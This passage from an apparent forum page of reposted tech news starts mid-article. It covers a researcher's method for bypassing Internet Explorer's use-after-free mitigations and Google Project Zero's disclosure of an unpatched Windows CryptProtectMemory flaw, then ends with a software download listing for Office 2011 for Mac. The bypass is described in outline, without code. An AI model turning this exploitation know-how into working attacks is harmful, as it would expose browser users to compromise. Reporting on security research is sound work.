the stack and 100,000 bytes are waiting to be freed, DeMott said. Taking advantage of these conditions, DeMott’s bypass works through the use of what he calls a “long-lived dangling pointer.” “If an attacker can locate a UaF bug that involves code that maintains a heap reference to a dangling pointer, the conditions to actually free the object under the deferred free protection can be met (no stack references or call chain eventually unwinds),” DeMott said. “And finding useful objects in either playground to replace the original turns out not to be that difficult either.” DeMott’s bypass is a Python script which searches IE for all objects, sizes and whether an object is allocated to the default or isolated heap. “This information can be used to help locate useful objects to attack either heap,” he wrote. “And with a memory garbage collection process known as coalescing the replacement object does not even have to be the same size as the original object.” DeMott said an attack would be similar to other client-side attacks. A victim would have to be lured to a website via phishing or a watering hole attack and be infected with the exploit. “If you have a working UaF bug, you have to make sure it’s of this long-live type and can basically upgrade it to an existing attack to bypasses these mitigations,” DeMott told Threatpost. “There’s no secret sauce, like every attack, it just depends on a good bug.” DeMott said he expects use-after-free to be the next iteration of memory corruption attacks. “There’s always a need [for attackers] to innovate,” DeMott said, pointing out that Microsoft deployed ASLR and DEP in response to years of buffer overflow and heap spray attacks, only to be thwarted by attackers with use-after-free vulnerabilities. “It’s starting to happen, it’s coming if it’s not already here.” Source
  23. Microsoft has heavily criticized Google and its 90-days security disclosure policy after the firm publicly revealed two zero-day vulnerabilities in Microsoft’s Windows 8.1 operating system one after one just days before Microsoft planned to issue a patch to kill the bugs. But, seemingly Google don't give a damn thought. Once again, Google has publicly disclosed a new serious vulnerability in Windows 7 and Windows 8.1 before Microsoft has been able to produce a patch, leaving users of both the operating systems exposed to hackers until next month, when the company plans to deliver a fix. DISCLOSURE OF UNPATCHED BUGS, GOOD OR BAD? Google’s tight 90-days disclosure policy seems to be a good move for all software vendors to patch their products before they get exploited by the hackers and cybercriminals. But at the same time, disclosing all critical bugs along with its technical details in the widely used operating system like Windows 7 and 8 doesn’t appears to be a right decision either. In both cases, the only one to suffer is the innocent users. The revelation of the security flaw was also a part Google's Project Zero, an initiative that identifies security holes in different software and calls on companies to publicly disclose and patch bugs within 90 days of discovering them. This time the search engine giant has discovered a flaw in the CryptProtectMemory memory-encrypting function found within Windows 7 and 8.1 and presents in both 32- and 64-bit architectures, which can accidentally disclose sensitive information or allow a miscreant to bypass security checks, apparently. MICROSOFT WILL DELIVER PATCH IN FEB, 2015 Google first notified Microsoft of the vulnerability in Windows 7 and 8.1 on October 17, 2014. Microsoft then confirmed the security issues on October 29 and said that its developers managed to reproduce the security hole. The patch for the vulnerability is scheduled for Feb. 10, next Patch Tuesday. The vulnerability was found by James Forshaw, who also discovered a "privilege elevation flaw" in Windows 8.1, which was disclosed earlier this week and drew strong criticism from Microsoft. The newly discovered bug actually resides in the CNG.sys implementation, which failed to run proper token checks. This is third time in less than a month when the Google’s Project Zero released details of the vulnerability in Microsoft’s operating system, following its 90-day public disclosure deadline policy. Few days ago, Google released details of a new privilege escalation bug in Microsoft's Windows 8.1 operating system just two days before Microsoft planned to patch the bug. Google vs. Microsoft — Google reveals Third unpatched Zero-Day Vulnerability in Windows - Hacker News
  24. Microsoft Office 2011 v.14.3.6 SP3 Home & Business (Mac OSX) Microsoft Office 2011 v.14.3.6 SP3 Home & Business (Mac OSX)| 1.24 GB Microsoft Office 2011 helps you create professional documents and presentations. And since Office for Mac 2011 is compatible with Office for Windows, you can work on documents with virtually anyone, anywhere Work well with others. Be on the same page with Office for Mac and Office for Windows, including new features in Office 2010. Whether you're looking to share files or work together online, now you can do it with complete confidence, knowing that Office for Mac is most compatible with Office for Windows. With Office being used on more than 1 billion Macs and PCs worldwide, you can work with practically anyone you want, how you want, wherever you more. - Meeting invitation times are displayed inaccurately in Outlook. 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